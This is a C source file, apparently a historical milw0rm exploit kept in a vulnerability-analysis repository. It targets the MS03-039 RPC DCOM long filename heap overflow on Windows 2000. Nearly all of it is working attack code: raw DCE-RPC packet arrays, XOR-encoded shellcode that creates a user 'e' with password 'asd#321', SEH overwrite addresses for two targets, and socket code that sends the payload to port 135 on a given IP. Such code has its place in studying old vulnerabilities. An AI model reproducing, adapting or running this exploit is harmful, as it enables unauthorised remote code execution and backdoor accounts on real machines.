lilbool/vuln-code-analysis
0
1#include <stdio.h>
2#include <winsock2.h>
3#include <windows.h>
4#include <process.h>
5#include <string.h>
6#include <winbase.h>
7
8#pragma comment(lib,"ws2_32")
9
10unsigned char bindstr[]={
110x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
120xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
130xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
140x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
150x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
16
17unsigned char request1[]={
180x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
19,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
20,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
21,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
22,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
23,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
24,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
25,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
26,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
27,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
28,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
29,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
30,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
31,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
32,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
33,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
34,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
35,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
36,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
37,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
38,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
39,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
40,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
41,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
42,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
43,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
44,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
45,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
46,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
47,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
49,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
50,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
51,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
52,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
53,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
54,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
55,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
56,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
57,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
58,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
59,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
60,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
61,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
62,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
63,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
64,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
65,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
66,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
67,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
68,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
69,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
70,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
71,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
72,0x00,0x00,0x00,0x00,0x00,0x00};
73
74unsigned char request2[]={
750x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
76,0x00,0x00,0x5C,0x00,0x5C,0x00};
77
78unsigned char request3[]={
790x5C,0x00
80,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
81,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
82,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
83,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
84
85//user="e" pass="asd#321"
86unsigned char sc_add_user[]=
87"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA"
88"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
89"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
90"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
91"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
92"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
93"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
94"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
95"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
96"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
97"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
98"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
99"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
100"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
101"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
102"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC"
103"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8"
104"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA"
105"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED"
106"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99";
107#define sc_offset 0x24
108#define sc_max 0x208
109#define jmp_addr_offset sc_max+sc_offset+0x8
110#define top_seh_offset jmp_addr_offset+0x4
111
112unsigned char sc[]=
113"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00"
114"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00"
115"\x43\x00\x24\x00\x5c\x00"
116"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
117"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
118"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
119"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
120"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
121"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
122"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
123"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
124"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
125"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
126"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
127"\xe9\xf3\xfd\xff\xff"
128"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";
129
130unsigned char request4[]={
1310x01,0x10
132,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
133,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
134,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
135};
136
137struct
138{
139 char *os;
140 DWORD dwTopSeh;
141 char *seh;
142 DWORD dwJmpAddr;
143 char *jmp;
144}
145targets[] =
146{
147 { "2kEnSp4+MS03-026",
148 0x7c54144c,
149 "kernel32.dll v5.0.2195.6688",
150 0x77a1b496,
151 "OLEAUT32.dll v2.40.4522.0"},
152 { "2kEnSp3+SomeHotFixs+MS03-026",
153 0x77eda1f0,
154 "kernel32.dll v5.0.2195.6079",
155 0x77a1afa9,
156 "OLEAUT32.dll v2.40.4518.0"}
157}, v;
158void main(int argc,char ** argv)
159{
160 WSADATA WSAData;
161 SOCKET sock;
162 int len,len1;
163 SOCKADDR_IN addr_in;
164 short port=135;
165 unsigned char buf1[0x1000];
166 unsigned char buf2[0x1000];
167 int i, iType;
168
169 printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
170 "Base on flashsky's MS03-026 exp\n"
171 "Code by ey4s<eyas#xfocus.org>\n"
172 "2003-09-16\n"
173 "Welcome to http://www.xfocus.net\n"
174 "Thanks to flashsky & benjurry & Dave Aitel\n"
175 "If success, target will add a user \"e\" and password is \"asd#321\"\n\n");
176
177 if(argc!=3)
178 {
179 printf("Usage: %s <target> <type>\n", argv[0]);
180 for(i = 0; i < sizeof(targets)/sizeof(v); i++)
181 printf( "<%d> %s\n"
182 " TopSeh=0x%.8x in %s\n"
183 " JmpAddr=0x%.8x in %s\n",
184 i, targets[i].os,
185 targets[i].dwTopSeh, targets[i].seh,
186 targets[i].dwJmpAddr, targets[i].jmp);
187 return;
188 }
189
190 iType = atoi(argv[2]);
191 if((iType<0) || iType > sizeof(targets)/sizeof(v))
192 {
193 printf("[-] Wrong type.\n");
194 return;
195 }
196
197 memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
198 memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
199 memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
200 printf("[+] Prepare shellcode completed.\n");
201
202 if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
203 {
204 printf("WSAStartup error.Error:%d\n",WSAGetLastError());
205 return;
206 }
207
208 addr_in.sin_family=AF_INET;
209 addr_in.sin_port=htons(port);
210 addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
211
212 if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
213 {
214 printf("Socket failed.Error:%d\n",WSAGetLastError());
215 return;
216 }
217 if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
218 {
219 printf("Connect failed.Error:%d",WSAGetLastError());
220 return;
221 }
222 printf("[+] Connect to %s:135 success.\n", argv[1]);
223
224 if(sizeof(sc_add_user) > sc_max)
225 {
226 printf("[-] shellcode too long, exit.\n");
227 return;
228 }
229
230
231 len=sizeof(sc);
232 memcpy(buf2,request1,sizeof(request1));
233 len1=sizeof(request1);
234 *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
235 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
236 memcpy(buf2+len1,request2,sizeof(request2));
237 len1=len1+sizeof(request2);
238 memcpy(buf2+len1,sc,sizeof(sc));
239 len1=len1+sizeof(sc);
240 memcpy(buf2+len1,request3,sizeof(request3));
241 len1=len1+sizeof(request3);
242 memcpy(buf2+len1,request4,sizeof(request4));
243 len1=len1+sizeof(request4);
244 *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
245 //¼ÆËã¸÷ÖֽṹµÄ³¤¶È
246 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
247 *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
248 *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
249 *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
250 *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
251 *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
252 *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
253
254 len = send(sock,bindstr,sizeof(bindstr),0);
255 if(len<=0)
256 {
257 printf("[-] Send failed.Error:%d\n",WSAGetLastError());
258 return;
259 }
260 else
261 printf("[+] send %d bytes.\n", len);
262
263 len=recv(sock,buf1,1000,0);
264 if(len<=0)
265 {
266 printf("[-] recv error:%d\n", GetLastError());
267 return;
268 }
269 else
270 printf("[+] recv %d bytes.\n", len);
271
272 len = send(sock,buf2,len1,0);
273 if(len<=0)
274 {
275 printf("[-] Send failed.Error:%d\n",WSAGetLastError());
276 return;
277 }
278 else
279 printf("[+] send %d bytes.\n", len);
280 len=recv(sock,buf1,1024,0);
281 if(len<=0)
282 {
283 printf("[+] Target crash or exploit success? :)\n");
284 }
285 else
286 printf("[-] recv %d bytes. Bad luck!\n", len);
287}
288
289
290
291// milw0rm.com [2003-09-16]